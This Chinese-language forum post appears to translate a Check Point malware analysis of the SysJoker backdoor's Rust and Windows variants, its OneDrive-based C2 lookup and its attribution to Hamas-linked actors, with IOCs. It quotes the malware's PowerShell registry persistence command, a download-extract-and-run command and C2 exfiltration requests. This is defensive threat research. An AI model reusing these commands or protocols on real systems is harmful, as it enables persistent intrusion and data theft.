DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 3668|回复: 1

[样本分析] 聚焦以色列与哈马斯战争:摆脱 RUST SYSJOKER

[复制链接]

11

主题

3

回帖

32

荣誉

Rank: 2

UID
1288
积分
160
精华
0
沃币
6 枚
注册时间
2023-3-30
发表于 2023-11-24 11:46:27 | 显示全部楼层 |阅读模式
本帖最后由 kitty 于 2023-11-24 11:42 编辑


关键发现


  • Check Point Research 正在积极跟踪 SysJoker 的演变,这是一个先前未公开的多平台后门,我们评估它被哈马斯附属的 APT 用于针对以色列。
  • 其中最显着的变化是转向 Rust 语言,这表明恶意软件代码完全重写,同时仍然保持类似的功能。此外,攻击者转而使用 OneDrive 而不是 Google Drive 来存储动态 C2。
  • 对新发现的 SysJoker 变种的分析揭示了与之前未公开的 "电粉行动" 样本的联系,这是 2016 年至 2017 年间针对以色列组织的一系列攻击,与名为 "加沙网络帮" 的威胁行为者存在松散联系。

介绍


在以色列与哈马斯战争的紧张局势中,Check Point Research 一直在进行积极的威胁搜寻,以发现、归因和减轻相关的区域威胁。其中,SysJoker 恶意软件的一些新变种,包括用 Rust 编码的变种,最近引起了我们的注意。这些被哈马斯相关威胁者用于有针对性的攻击。

SysJoker 最初由 Intezer 于 2021 年发现,是一个多平台后门,在原始发布几个月后的另一份报告中也分析了相同的恶意软件。从那时起,SysJoker Windows 变种已经发展到足以保持低调。

当我们调查 2023 年用于针对性攻击的 SysJoker 新变种时,我们还发现了一个用 Rust 编写的变种,这表明恶意软件代码已被完全重写。此外,我们还发现了与 2016 - 2017 年针对以色列的另一个名为 "Operation Electric Powder" 的活动的行为相似之处。该活动此前与加沙网络帮 (又名 Molerats) 有关,该组织是一个与巴勒斯坦利益集团联合行动的威胁组织。

在本文中,我们深入研究了 SysJoker 的 Rust 版本,并披露了有关其他 SysJoker Windows 变种及其归属的更多信息。

SysJoke 的 Rust 变种


SysJoker 变种 (9416d7dc2ecdeda92ba35cd5e54eb044) 用 Rust 编写,于 2023 年 10 月 12 日以名为 php-cgi.exe 提交给 VirusTotal,8 月 7 日编译,它包含以下内容PDB 路径:C:\Code\Rust\RustDown-Belal\target\release\deps\RustDown.pdb。

该恶意软件在其执行的各个阶段采用随机睡眠间隔,这可以作为可能的反沙箱或反分析措施。

样本有两种操作模式,这取决于其在特定路径中的存在,这是为了根据持久性区分第一次执行和任何后续执行。

首先,它检查当前运行的模块是否与路径 C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe 匹配,根据结果,恶意软件会进入两个可能阶段之一。

首次执行


如果样本从不同的位置运行,表明这是第一次执行样本,恶意软件会将自身复制到路径 C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe ,然后使用 PowerShell 使用以下参数从新创建的路径运行自身:

  1. -Command C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe
复制代码

最后创建一个持久化机制,然后退出程序。持久性是以一种不寻常的方式建立的,使用带有以下参数的 PowerShell:

  1. -Command "$reg=[WMIClass]'ROOT\DEFAULT:StdRegProv';
  2. $results=$reg.SetStringValue('&H80000001','Software\Microsoft\Windows\CurrentVersion\Run', 'php-cgi', 'C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe');"
复制代码

最后,此 PowerShell 代码使用 WMI StdRegPro 类而不是通过 Windows API 或 reg.exe 直接访问注册表,在 HKEY_CURRENT_USER 配置单元中创建一个注册表 Run 项,该项指向可执行文件的副本。

后续执行


SysJoker 访问 OneDrive 的 URL 以检索 C2 服务器地址,URL 在二进制文件中进行硬编码和加密:

  1. https://onedrive.live[.]com/download?resid=16E2AEE4B7A8BBB1%21112&authkey=!AED7TeCJaC7JNVQ
复制代码

响应还必须包含以 Base64 编码的 XOR 加密数据 blob。在我们的调查过程中,收到以下答复:

  1. KnM5Sjpob2glNTY8AmcaYXt8cAh/fHZ+ZnUNcwdld2Mr
复制代码

解密后,C2 IP 地址和端口显露出来:

  1. {"url":"http://85.31.231[.]49:443"}
复制代码

使用 OneDrive 可以让攻击者轻松更改 C2 地址,从而使他们能够领先于不同的基于信誉的服务。此行为在不同版本的 SysJoker 中保持一致。

该恶意软件收集有关受感染系统的信息,包括 Windows 版本、用户名、MAC 地址和各种其他数据。然后,此信息被发送到 C2 服务器上的 /api/attach API 端点,作为响应,它会收到一个唯一的令牌,该令牌在恶意软件与 C2 通信时充当标识符:



向 C2 服务器注册后,该示例运行主 C2 循环,它将包含唯一令牌的 POST 请求发送到 /api/req 端点,C2 使用 JSON 数据进行响应:



服务器的预期响应是一个 JSON,其中包含名为 data 的字段,该字段包含供示例执行的操作数组。每个数组由 id 和 request 字段组成。 request 字段是另一个 JSON,其中包含名为 url 和 name 的字段。来自服务器的响应示例:

  1. {"id":"2", "request":"{"url": "http://85.31.231[.]49/archive_path", "name":"mal_2.exe"}"}]}
复制代码

恶意软件从 url 字段中指定的 URL 下载 zip 压缩存档。压缩存档中包含一个可执行文件,解压后将其作为 name 字段保存到 C:\ProgramData\php-Win32-libs 文件夹中,使用以下 PowerShell 命令解压缩存档:

  1. powershell -Command Expand-Archive -Path C:\ProgramData\php-Win32-libs\XMfmF.zip -DestinationPath C:\ProgramData\php-Win32-libs ; start C:\ProgramData\php-Win32-libs\exe_name.exe
复制代码

值得一提的是,在之前的 SysJoker 操作中,恶意软件不仅能够从存档中下载和执行远程文件,还能够执行操作员指定的命令。Rust 版本中缺少此功能,恶意软件接收并执行文件下载命令后,根据操作是否成功,再次联系C2服务器,并向路径 /api/req/res 发送成功或异常消息。服务器发回 JSON 确认,表明已收到信息: {"status":"success"} 。

加密


该恶意软件有两种字符串解密方法,第一种方法很简单,并且出现在多个 SysJoker 变种中。该示例包含多个 Base64 编码的加密数据 blob 和一个 Base64 编码的密钥。解密后,两个 blob 都会进行 Base64 解码,然后进行异或以生成纯文本字符串。

第二种加密方法比较繁琐,并且在编译时整个程序中重复内联拼接,这会在整个示例中生成复杂的字符串解密算法。



Windows SysJoker 变种


除了新发现的 Rust 变种之外,我们还发现了另外两个过去未公开曝光的 SysJoker 样本。这两个样本都比 Rust 版本或任何之前分析的样本稍微复杂一些,与其他版本相比,其中一个示例具有多阶段执行流程,由下载程序、安装程序和单独的有效负载 DLL 组成。

DMA 设备变种


DMADevice 样本 (d51e617fe1c1962801ad5332163717bb) 于 2022 年 5 月编译,即 SysJoker 首次被发现几个月后。

与其他版本一样,恶意软件首先通过 URL 来检索 C2 服务器地址:

  1. https://onedrive.live[.]com/download?cid=F6A7DCE38A4B8570&resid=F6A7DCE38A4B8570!115&authkey=AKcf8zLcDneJZHw
复制代码

OneDrive 链接使用加密的 base64 编码字符串进行响应,该字符串使用 XOR 密钥 QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT 进行解密,这与 Rust 版本中使用的密钥相同。

解密的 blob 包含一个带有 C2 域的 JSON,格式如下:

  1. {"url":"http://sharing-u-file[.]com"}
复制代码

接下来,恶意软件进入三阶段执行过程

安装文件持久化


该示例生成一个唯一的机器人 ID,将其通过 POST 请求发送到 /api/cc API 端点,并接收回描述受感染计算机上所需恶意软件设置的 JSON,JSON 具有以下结构:

  1. {"key":"f57d611b-0779-4125-a3e8-4f8ca3116509","pi":"VwUD[REDACTED]","data":"PRdkHUVFVA9pQl5BXA8YE2JHQgZBBFVpVRJZQU0RdXx3cVVPD1ZSRhoTdS9sY1hbTFldXlx8QwIRSRppeSdrDA1GRVhZW3lXBRtSHFMTHUBpfXZkVkFBRVtaQyhdBhZJWAoaT0NDXkZTR0NRA1lbSlNJVEABElRaXQ8YE11FSA8RSRpeQAdKF0MfE20ZVhBrI3IXJXJ1ESpmc2JrZX57d2ZibDN2OWRgXQVKDBJcV0VqaWdQCFFYE0VtbSFYQkVSV1liVEBGRA5dOWR\/QQgYP05lEx0UaR9NRmdyI2lia0JxH3MVFQ8aVEpQD00RQV1DQlxNEARBX1BbUBBFRnpCEBt3WA5IEBpyV05bVVtbSkEUEExLDEEYREMfE2J5c2RuJ2dyOGp8WAFfX0RYX1lobWVcQwVcEktxaCVNERNWX0VgUEJKD1pZOGpjRAwPbQ=="}
复制代码

JSON 中的字段 key 用于对其他字段进行 Base64 解码后进行异或解密:pi 字段包含受害者的 IP 地址和 data 字段包含具有多个值的数组:

  1. ["SystemDrive","ProgramData","DMADevice","DMASolutionInc","DMASolutionInc.exe","DMASolutionInc.dll","powershell.exe","cmd","open","start","\/c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \/V","\/t REG_SZ \/D",".exe","$env:username | Out-File -Encoding 'utf8' '","SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"]
复制代码

这些值按以下顺序使用:

  • SystemDrive – 获取系统硬盘盘符。
  • ProgramData – 在指定的 (在本例中为 ProgramData) 文件夹下创建这两个文件夹:DMADevice 创建的第一个文件夹名称。DMASolutionInc.exe 当前运行的可执行文件用于自我复制到 DMADevice 文件夹中的文件名。
  • DMASolutionInc.dll – 配置文件的名称。
  • DMASolutionInc – 创建的第二个文件夹名称。

其余值用在一些命令中,这些命令通过注册表 Run 键建立持久性,并将当前用户名从 $env 检索到临时 txt 文件中。

在我们的例子中,配置文件 DMASolutionInc.dll 存储在经过加密 (使用与解密域相同的密钥) 和 Base64 编码的磁盘上。它包含带有以下字段的加密 JSON:

  1. {"id":"[BOT-ID]","us":"[USERNAME]","ip":"[IP]"}
复制代码

执行完所有这些操作后,示例将执行 DMASolutionInc.exe 中的副本并退出。

向 C2 服务器注册


当再次执行样本时 (通过前一阶段的持久性),它会检查它运行的位置。然后,它通过向 /api/add 发出包含 uuid、用户名和用户令牌的 POST 请求来继续执行,这些请求也是由恶意软件生成的:

  1. uuid=bot-id&nu=username&user_token=token
复制代码

服务器使用其端生成的令牌进行响应,然后将其用于所有后续 C2 请求。

C2 主循环


前一阶段收到的令牌用于向 C2 服务器上的 /api/cr 发出 POST 请求,以检索要执行的命令。

与其他 SysJoker 变种类似,服务器使用包含字段 data 的 JSON 进行响应,该字段是要执行的操作数组。该版本可以下载并执行文件或运行命令并将结果上传到 C2 服务器。对于数组中的每个命令,示例都会发送一个响应报告是否成功。

APPMessagingRegistrar 变种


该变体的编译时间戳为 2022 年 6 月,并且执行流程截然不同。该恶意软件的功能分为两个独立的组件:下载程序 (DDN,c2848b4e34b45e095bd8e764ca1a4fdd) 和后门 (AppMessagingRegistrar,31c2813c1fb1e42b85014b2fc3fe0666)。

DDN 下载器


威胁行为者首先提供一个轻量级下载器,它创建文件夹 C:\ProgramData\NuGet Library\ ,然后从 https://filestorage-short[.]org/drive/AppMessagingRegistrar.zip 下载 zip 文件,解压缩文件,将其复制到 AppMessagingRegistrar.exe 文件中,然后执行它。

事实证明,将功能拆分为单独的组件是有效的:在首次提交给 VirusTotal 时,该恶意软件并未被任何平台的引擎检测到



应用程序消息注册器


执行时,该有效负载首先检查注册表项 SOFTWARE\Intel\UNP\ProgramUpdates\UUID 中 PC 的 UUID。如果注册表项不可用,则使用 UuidCreate 函数生成 UUID,然后将其保存到前面提到的注册表项中。



然后,该变体继续解密硬编码的 OneDrive URL 以检索 C2 地址。此示例中的 XOR 键是 22GC18YH0N4RUE0BSJOAVW24624ULHIQGS4Y1BQQUZYTENJN2GBERQBFKF2W78H7。

C2 地址解密后,将向包含先前生成的 UUID 的 C2 服务器 API 端点 /api/register 发出 POST 请求。

服务器使用包含令牌和状态消息的 JSON 进行响应:

  1. {"status": "success", "token":"[TOKEN]", "status_num":1}
复制代码

状态指示请求是否有效,并且示例专门检查字符串 "success" 。该令牌用于以下所有 C2 请求,但与所有其他示例不同,它不是使用请求正文,而是在授权标头中发送: Authorization: Bearer [TOKEN]。此更改可能是为了适应恶意软件执行中的其他流程 (如下所述),其中恶意软件发送 GET 请求而不是 POST,并且需要服务器识别发送者的机制。

status_num 字段用作全局标志,指示机器人应采取哪些操作。有四种状态可用:



设置阶段


如果收到的 status_num 为 0,则恶意软件会创建 C:\ProgramData\Intel\UNP\ProgramUpdates 和 C:\ProgramData\Intel\Drivers\MsoftUpdates 文件夹。然后继续:

  • 使用函数 UrlDownloadToFileW 从路径 /api/library/[TOKEN] 下载 DLL 文件并将其保存到 C:\ProgramData\Intel\Drivers\MsoftUpdates\MsoftInit.dll 。
  • 加载 MsoftInit.dll 并调用 init 导出函数。
  • 再次加载相同的 DLL 并调用 step 导出函数。
  • 这些函数的确切用途尚不清楚,因为我们无法检索 DLL。然而,根据恶意软件的名称和我们对以前版本的分析,我们相信它们是持久性和安装过程的一部分。最后,恶意软件向 API 端点 /api/update 发送一个空的 POST 请求。服务器的预期响应是一个空的 JSON。

空闲循环


如果 status_num 为 1,则恶意软件继续无限循环地向 C2 API 端点 /api/status 发出请求。要打破循环,必须更改 status_num。

如果 status_num 为 3,则恶意软件会继续从 URL /api/library/[TOKEN] 下载 DLL 文件并将其保存到路径 C:\ProgramData\Intel\Drivers\MsoftUpdates\MsoftNotify.dll 中。然后,它向 C2 API 端点 /api/ready 发送请求:如果服务器以状态 success 响应,则状态标志将设置为 4。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

11

主题

3

回帖

32

荣誉

Rank: 2

UID
1288
积分
160
精华
0
沃币
6 枚
注册时间
2023-3-30
 楼主| 发表于 2023-11-24 11:50:03 | 显示全部楼层
本帖最后由 kitty 于 2023-11-24 11:53 编辑

执行有效负载

如果状态为 4,恶意软件将继续向 C2 API 端点 /api/requests 发出 GET 请求。C2 服务器使用包含 3 个参数的 JSON 进行响应:id、r 和 k 。

然后,恶意软件加载 MsoftNotify.dll DLL 并解析函数 st。从服务器发送的 r 和 k 值被 st 用作参数。我们无法检索到该 DLL,但根据之前的版本,这很可能是后门运行功能的主命令版本,其返回值应该是一个字符串。函数运行并返回结果后,令牌中收到的 id 将用于向 C2 发送 POST 请求,其中包含输出:

  1. POST /api/requests/[ID] HTTP/1.1
  2. Host: [62.108.40.129](https://www.virustotal.com/gui/url/79fde5d4b19cbd1f920535215c558b6ff63973b7af7d6bd488e256821711e0b1)
  3. Accept: application/json
  4. Authorization: Bearer [TOKEN]
  5. Content-Length: 15
  6. Content-Type: application/x-www-form-urlencoded

  7. response=[EXECUTION OUTPUT]
复制代码

基础设施

此活动中使用的基础设施是动态配置的。首先,恶意软件会连接 OneDrive 地址,并从那里解密包含要通信的 C2 地址的 JSON。C2 地址使用硬编码的 XOR 密钥进行加密并进行 Base64 编码。

该威胁行为者通常使用云存储服务,之前的报告显示 Google Drive 也被用于同样的目的。



与电粉行动的联系

SysJoker 后门对三个主要字符串使用自己的自定义加密:包含最终 C2 地址的 OneDrive URL、从 OneDrive 请求中收到的 C2 地址以及用于持久性的 PowerShell 命令:

  1. $reg=[WMIClass]'ROOT\DEFAULT:StdRegProv';
  2. $results=$reg.SetStringValue('&H80000001','Software\Microsoft\Windows\CurrentVersion\Run'[TRUNCATED]
复制代码

这个基于 StdRegProv WMI 类的 PowerShell 命令非常独特。它在 SysJoker 的多个变种之间共享,并且似乎只与另一项活动共享,该活动与 ClearSky 之前报道的 "电粉行动" 相关。

2017 年报告描述了 2016 年至 2017 年针对以色列电力公司 (IEC) 持续开展的活动。该行动使用网络钓鱼和虚假 Facebook 页面来传播 Windows 和 Android 恶意软件。此活动中使用的 Windows 恶意软件由植入程序、主要后门以及基于 Python 的键盘记录和屏幕抓取模块组成。

在我们对 SysJoker 操作的分析过程中,我们发现有迹象表明,尽管两次攻击之间的时间间隔很大,但两次攻击都是由同一个参与者造成的。这两个活动都使用了以 API 为主题的 URL,并以类似的方式实现了脚本命令。这包括 Run 注册表值,但不是唯一的共同因素。例如,下图显示了不同恶意软件在从受感染设备收集侦察数据到临时文本文件时使用的命令之间的相似之处:



结论

尽管 SysJoker 恶意软件于 2021 年首次出现并于 2022 年公开描述,但并未归因于任何已知的攻击者,但我们发现有证据表明该工具及其较新的变体已被用作以色列与哈马斯冲突的一部分。我们还能够将 SysJoker 与 2016-2017 年针对以色列电力公司的电粉行动联系起来。

在我们的报告中,我们描述了恶意软件的演变及其执行流程复杂性的变化,以及其最新转向 Rust 语言及其使用的最新基础设施。

该恶意软件的早期版本是用 C++ 编码的。由于没有直接的方法将该代码移植到 Rust,这表明该恶意软件经过了完全重写,并可能作为未来更改和改进的基础。

IOCs

域名 IP:

  • 85.31.231[.]49
  • sharing-u-file[.]com
  • filestorage-short[.]org
  • audiosound-visual[.]com
  • 62.108.40[.]129

Hashes:

  • d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72
  • 6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95
  • e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836
  • 96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f
  • 67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706
  • 0ff6ff167c71b86c511c36cba8f75d1d5209710907a807667f97ce323df9c4ba

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1楼
2楼

Archiver|小黑屋|DecoyMini 技术交流社区 (吉沃科技) ( 京ICP备2021005070号 )

GMT+8, 2024-11-22 04:16 , Processed in 0.074421 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表